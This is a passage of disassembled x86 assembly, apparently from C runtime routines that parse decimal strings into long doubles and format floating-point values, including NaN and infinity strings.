		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_420AFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420B4F
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_420AFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420B4F
		inc	dword ptr [esi+8]


loc_420B4F:				; CODE XREF: sub_420B1D+19j
					; sub_420B1D+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_420AFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420B67
		inc	dword ptr [esi+8]


loc_420B67:				; CODE XREF: sub_420B1D+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_420AFC
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_420B1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B7B	proc near		; CODE XREF: sub_420BD6+30p
					; sub_420BD6+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_420B7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BA9	proc near		; CODE XREF: sub_42116E+1C8p
					; sub_421666+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_420BA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BD6	proc near		; CODE XREF: sub_420C9D+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_420C4A
		push	edi
		mov	[ebp+arg_8], eax


loc_420BFD:				; CODE XREF: sub_420BD6+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_420B7B
		push	ebx
		call	sub_420B7B
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_420B1D
		push	ebx
		call	sub_420B7B
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_420B1D
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_420BFD
		xor	edx, edx
		pop	edi


loc_420C4A:				; CODE XREF: sub_420BD6+21j
					; sub_420BD6+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_420C77
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_420C4A
; ---------------------------------------------------------------------------


loc_420C77:				; CODE XREF: sub_420BD6+77j
		mov	esi, 8000h


loc_420C7C:				; CODE XREF: sub_420BD6+B9j
		test	[ebx+8], esi
		jnz	short loc_420C91
		push	ebx
		call	sub_420B7B
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C91:				; CODE XREF: sub_420BD6+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_420BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420C9D	proc near		; CODE XREF: sub_41FFF8+17p
					; sub_420025+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_420CD8:				; CODE XREF: sub_420C9D+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_420CEE
		cmp	cl, 9
		jz	short loc_420CEE
		cmp	cl, 0Ah
		jz	short loc_420CEE
		cmp	cl, 0Dh
		jnz	short loc_420CF1


loc_420CEE:				; CODE XREF: sub_420C9D+40j
					; sub_420C9D+45j ...
		inc	edi
		jmp	short loc_420CD8
; ---------------------------------------------------------------------------


loc_420CF1:				; CODE XREF: sub_420C9D+4Fj
		push	4
		pop	esi


loc_420CF4:				; CODE XREF: sub_420C9D+AEj
					; sub_420C9D+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_420F77	; default
					; jumptable 00420D00 case 10
		jmp	off_42113E[eax*4] ; switch jump


loc_420D07:				; DATA XREF: nsp0:off_42113Eo
		cmp	bl, 31h		; jumptable 00420D00 case 0
		jl	short loc_420D18
		cmp	bl, 39h
		jg	short loc_420D18


loc_420D11:				; CODE XREF: sub_420C9D+C4j
					; sub_420C9D+118j
		push	3
		jmp	loc_420F35
; ---------------------------------------------------------------------------


loc_420D18:				; CODE XREF: sub_420C9D+6Dj
					; sub_420C9D+72j
		cmp	bl, byte_43AD90
		jnz	short loc_420D27


loc_420D20:				; CODE XREF: sub_420C9D+124j
		push	5
		jmp	loc_420F6D
; ---------------------------------------------------------------------------


loc_420D27:				; CODE XREF: sub_420C9D+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_420D4D
		dec	eax
		dec	eax
		jz	short loc_420D41
		sub	eax, 3
		jnz	loc_421010
		jmp	loc_420DD0
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420C9D+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_420CF4
; ---------------------------------------------------------------------------


loc_420D4D:				; CODE XREF: sub_420C9D+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_420CF4
; ---------------------------------------------------------------------------


loc_420D56:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		cmp	bl, 31h		; jumptable 00420D00 case 1
		mov	[ebp+var_10], edx
		jl	short loc_420D63
		cmp	bl, 39h
		jle	short loc_420D11


loc_420D63:				; CODE XREF: sub_420C9D+BFj
		cmp	bl, byte_43AD90
		jz	loc_420E2B
		cmp	bl, 2Bh
		jz	short loc_420DA5
		cmp	bl, 2Dh
		jz	short loc_420DA5
		cmp	bl, 30h
		jz	short loc_420DD0


loc_420D7E:				; CODE XREF: sub_420C9D+207j
		cmp	bl, 43h
		jle	loc_421010
		cmp	bl, 45h
		jle	short loc_420D9E
		cmp	bl, 63h
		jle	loc_421010
		cmp	bl, 65h
		jg	loc_421010


loc_420D9E:				; CODE XREF: sub_420C9D+EDj
		push	6
		jmp	loc_420F6D
; ---------------------------------------------------------------------------


loc_420DA5:				; CODE XREF: sub_420C9D+D5j
					; sub_420C9D+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_420F6D
; ---------------------------------------------------------------------------


loc_420DAD:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		cmp	bl, 31h		; jumptable 00420D00 case 2
		jl	short loc_420DBB
		cmp	bl, 39h
		jle	loc_420D11


loc_420DBB:				; CODE XREF: sub_420C9D+113j
		cmp	bl, byte_43AD90
		jz	loc_420D20
		cmp	bl, 30h
		jnz	loc_420F85


loc_420DD0:				; CODE XREF: sub_420C9D+9Fj
					; sub_420C9D+DFj
		mov	eax, edx
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		mov	[ebp+var_10], edx ; jumptable 00420D00 case 3


loc_420DDA:				; CODE XREF: sub_420C9D+184j
		cmp	dword_43AD8C, edx
		jle	short loc_420DF3
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_420E01
; ---------------------------------------------------------------------------


loc_420DF3:				; CODE XREF: sub_420C9D+143j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_420E01:				; CODE XREF: sub_420C9D+154j
		test	eax, eax
		jz	short loc_420E23
		cmp	[ebp+var_4], 19h
		jnb	short loc_420E1B
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_420E1E
; ---------------------------------------------------------------------------


loc_420E1B:				; CODE XREF: sub_420C9D+16Cj
		inc	[ebp+var_8]


loc_420E1E:				; CODE XREF: sub_420C9D+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420DDA
; ---------------------------------------------------------------------------


loc_420E23:				; CODE XREF: sub_420C9D+166j
		cmp	bl, byte_43AD90
		jnz	short loc_420E92


loc_420E2B:				; CODE XREF: sub_420C9D+CCj
		mov	eax, esi
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420E32:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		cmp	[ebp+var_4], 0	; jumptable 00420D00 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_420E4B


loc_420E3E:				; CODE XREF: sub_420C9D+1ACj
		cmp	bl, 30h
		jnz	short loc_420E4B
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420E3E
; ---------------------------------------------------------------------------


loc_420E4B:				; CODE XREF: sub_420C9D+19Fj
					; sub_420C9D+1A4j ...
		cmp	dword_43AD8C, edx
		jle	short loc_420E64
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_420E72
; ---------------------------------------------------------------------------


loc_420E64:				; CODE XREF: sub_420C9D+1B4j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_420E72:				; CODE XREF: sub_420C9D+1C5j
		test	eax, eax
		jz	short loc_420E92
		cmp	[ebp+var_4], 19h
		jnb	short loc_420E8D
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_420E8D:				; CODE XREF: sub_420C9D+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420E4B
; ---------------------------------------------------------------------------


loc_420E92:				; CODE XREF: sub_420C9D+18Cj
					; sub_420C9D+1D7j
		cmp	bl, 2Bh
		jz	loc_420DA5
		cmp	bl, 2Dh
		jz	loc_420DA5
		jmp	loc_420D7E
; ---------------------------------------------------------------------------


loc_420EA9:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		cmp	dword_43AD8C, edx ; jumptable 00420D00 case 5
		mov	[ebp+var_24], edx
		jle	short loc_420EC5
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_420ED3
; ---------------------------------------------------------------------------


loc_420EC5:				; CODE XREF: sub_420C9D+215j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_420ED3:				; CODE XREF: sub_420C9D+226j
		test	eax, eax
		jz	loc_420F85
		mov	eax, esi
		jmp	short loc_420F36
; ---------------------------------------------------------------------------


loc_420EDF:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		lea	ecx, [edi-2]	; jumptable 00420D00 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_420EEF
		cmp	bl, 39h
		jle	short loc_420F33


loc_420EEF:				; CODE XREF: sub_420C9D+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_420F6B
		dec	eax
		dec	eax
		jz	short loc_420F5F
		sub	eax, 3
		jnz	loc_421013


loc_420F04:				; CODE XREF: sub_420C9D+2A4j
		push	8
		jmp	short loc_420F6D
; ---------------------------------------------------------------------------


loc_420F08:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		mov	[ebp+var_20], edx ; jumptable 00420D00 case 8


loc_420F0B:				; CODE XREF: sub_420C9D+276j
		cmp	bl, 30h
		jnz	short loc_420F15
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420F0B
; ---------------------------------------------------------------------------


loc_420F15:				; CODE XREF: sub_420C9D+271j
		cmp	bl, 31h
		jl	loc_421010
		cmp	bl, 39h
		jg	loc_421010
		jmp	short loc_420F33
; ---------------------------------------------------------------------------


loc_420F29:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		cmp	bl, 31h		; jumptable 00420D00 case 7
		jl	short loc_420F3C
		cmp	bl, 39h
		jg	short loc_420F3C


loc_420F33:				; CODE XREF: sub_420C9D+250j
					; sub_420C9D+28Aj
		push	9


loc_420F35:				; CODE XREF: sub_420C9D+76j
		pop	eax


loc_420F36:				; CODE XREF: sub_420C9D+240j
		dec	edi
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420F3C:				; CODE XREF: sub_420C9D+28Fj
					; sub_420C9D+294j
		cmp	bl, 30h
		jnz	short loc_420F85
		jmp	short loc_420F04
; ---------------------------------------------------------------------------


loc_420F43:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		cmp	[ebp+arg_18], 0	; jumptable 00420D00 case 11
		jz	short loc_420F73
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_420F6B
		dec	eax
		dec	eax
		jnz	loc_421013


loc_420F5F:				; CODE XREF: sub_420C9D+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420F6B:				; CODE XREF: sub_420C9D+258j
					; sub_420C9D+2B8j
		push	7


loc_420F6D:				; CODE XREF: sub_420C9D+85j
					; sub_420C9D+103j ...
		pop	eax
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420F73:				; CODE XREF: sub_420C9D+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_420F77:				; CODE XREF: sub_420C9D+5Dj
					; sub_420C9D+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00420D00 case 10
		jz	loc_421015
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420F85:				; CODE XREF: sub_420C9D+12Dj
					; sub_420C9D+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421015
; ---------------------------------------------------------------------------


loc_420F8D:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: nsp0:off_42113Eo
		mov	[ebp+var_20], 1	; jumptable 00420D00 case 9
		xor	esi, esi


loc_420F96:				; CODE XREF: sub_420C9D+339j
		cmp	dword_43AD8C, 1
		jle	short loc_420FAE
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_420FBD
; ---------------------------------------------------------------------------


loc_420FAE:				; CODE XREF: sub_420C9D+300j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420FBD:				; CODE XREF: sub_420C9D+30Fj
		test	eax, eax
		jz	short loc_420FDD
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_420FD8
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420FD8:				; CODE XREF: sub_420C9D+334j
		mov	esi, 1451h


loc_420FDD:				; CODE XREF: sub_420C9D+322j
		mov	[ebp+var_1C], esi


loc_420FE0:				; CODE XREF: sub_420C9D+371j
		cmp	dword_43AD8C, 1
		jle	short loc_420FF8
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_421007
; ---------------------------------------------------------------------------


loc_420FF8:				; CODE XREF: sub_420C9D+34Aj
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421007:				; CODE XREF: sub_420C9D+359j
		test	eax, eax
		jz	short loc_421010
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420FE0
; ---------------------------------------------------------------------------


loc_421010:				; CODE XREF: sub_420C9D+99j
					; sub_420C9D+E4j ...
		dec	edi
		jmp	short loc_421015
; ---------------------------------------------------------------------------


loc_421013:				; CODE XREF: sub_420C9D+261j
					; sub_420C9D+2BCj
		mov	edi, ecx


loc_421015:				; CODE XREF: sub_420C9D+2DDj
					; sub_420C9D+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_4210FD
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_421041
		cmp	[ebp+var_45], 5
		jl	short loc_421035
		inc	[ebp+var_45]


loc_421035:				; CODE XREF: sub_420C9D+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_421044
; ---------------------------------------------------------------------------


loc_421041:				; CODE XREF: sub_420C9D+38Dj
		mov	eax, [ebp+var_C]


loc_421044:				; CODE XREF: sub_420C9D+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4210F3


loc_42104E:				; CODE XREF: sub_420C9D+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_42105C
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_42104E
; ---------------------------------------------------------------------------


loc_42105C:				; CODE XREF: sub_420C9D+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_420BD6
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_42107B
		neg	eax


loc_42107B:				; CODE XREF: sub_420C9D+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_421086
		add	eax, [ebp+arg_10]


loc_421086:				; CODE XREF: sub_420C9D+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_42108E
		sub	eax, [ebp+arg_14]


loc_42108E:				; CODE XREF: sub_420C9D+3ECj
		cmp	eax, 1450h
		jle	short loc_4210C5
		mov	[ebp+var_2C], 1


loc_42109C:				; CODE XREF: sub_420C9D+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4210A8:				; CODE XREF: sub_420C9D+454j
					; sub_420C9D+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_42110E
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_421123
; ---------------------------------------------------------------------------


loc_4210C5:				; CODE XREF: sub_420C9D+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4210D5
		mov	[ebp+var_30], 1
		jmp	short loc_42109C
; ---------------------------------------------------------------------------


loc_4210D5:				; CODE XREF: sub_420C9D+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_421886
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4210A8
; ---------------------------------------------------------------------------


loc_4210F3:				; CODE XREF: sub_420C9D+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4210A8
; ---------------------------------------------------------------------------


loc_4210FD:				; CODE XREF: sub_420C9D+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_421123
; ---------------------------------------------------------------------------


loc_42110E:				; CODE XREF: sub_420C9D+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_421123
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_421123:				; CODE XREF: sub_420C9D+426j
					; sub_420C9D+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_420C9D	endp

; ---------------------------------------------------------------------------
off_42113E	dd offset loc_420D07	; DATA XREF: sub_420C9D+63r
		dd offset loc_420D56	; jump table for switch	statement
		dd offset loc_420DAD
		dd offset loc_420DD7
		dd offset loc_420E32
		dd offset loc_420EA9
		dd offset loc_420EDF
		dd offset loc_420F29
		dd offset loc_420F08
		dd offset loc_420F8D
		dd offset loc_420F77
		dd offset loc_420F43

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42116E	proc near		; CODE XREF: sub_4200C9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4211D0
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4211D4
; ---------------------------------------------------------------------------


loc_4211D0:				; CODE XREF: sub_42116E+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4211D4:				; CODE XREF: sub_42116E+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4211FA
		test	edi, edi
		jnz	short loc_4211FA
		cmp	[ebp+arg_0], edi
		jnz	short loc_4211FA


loc_4211E5:				; CODE XREF: sub_42116E+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_4213F8
; ---------------------------------------------------------------------------


loc_4211FA:				; CODE XREF: sub_42116E+6Cj
					; sub_42116E+70j ...
		cmp	dx, si
		jnz	short loc_421279
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421213
		cmp	[ebp+arg_0], 0
		jz	short loc_421222


loc_421213:				; CODE XREF: sub_42116E+9Dj
		test	edi, 40000000h
		jnz	short loc_421222
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421268
; ---------------------------------------------------------------------------


loc_421222:				; CODE XREF: sub_42116E+A3j
					; sub_42116E+ABj
		test	cx, cx
		jz	short loc_42123C
		cmp	edi, 0C0000000h
		jnz	short loc_42123C
		cmp	[ebp+arg_0], 0
		jnz	short loc_421263
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42124B
; ---------------------------------------------------------------------------


loc_42123C:				; CODE XREF: sub_42116E+B7j
					; sub_42116E+BFj
		cmp	edi, eax
		jnz	short loc_421263
		cmp	[ebp+arg_0], 0
		jnz	short loc_421263
		push	offset a1Inf	; "1#INF"


loc_42124B:				; CODE XREF: sub_42116E+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4183B0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_42125A:				; CODE XREF: sub_42116E+109j
		and	[ebp+var_4], 0
		jmp	loc_4213D1
; ---------------------------------------------------------------------------


loc_421263:				; CODE XREF: sub_42116E+C5j
					; sub_42116E+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_421268:				; CODE XREF: sub_42116E+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4183B0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_42125A
; ---------------------------------------------------------------------------


loc_421279:				; CODE XREF: sub_42116E+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421886
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_4212DA
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421666
		pop	ecx
		pop	ecx


loc_4212DA:				; CODE XREF: sub_42116E+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_4212F4
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_4212F7
		jmp	loc_4211E5
; ---------------------------------------------------------------------------


loc_4212F4:				; CODE XREF: sub_42116E+173j
		mov	edi, [ebp+arg_C]


loc_4212F7:				; CODE XREF: sub_42116E+17Fj
		cmp	edi, 15h
		jle	short loc_4212FF
		push	15h
		pop	edi


loc_4212FF:				; CODE XREF: sub_42116E+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_421315:				; CODE XREF: sub_42116E+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420B7B
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421315
		test	esi, esi
		jge	short loc_42133F
		neg	esi
		and	esi, 0FFh
		jle	short loc_42133F


loc_421332:				; CODE XREF: sub_42116E+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420BA9
		dec	esi
		pop	ecx
		jnz	short loc_421332


loc_42133F:				; CODE XREF: sub_42116E+1B8j
					; sub_42116E+1C2j
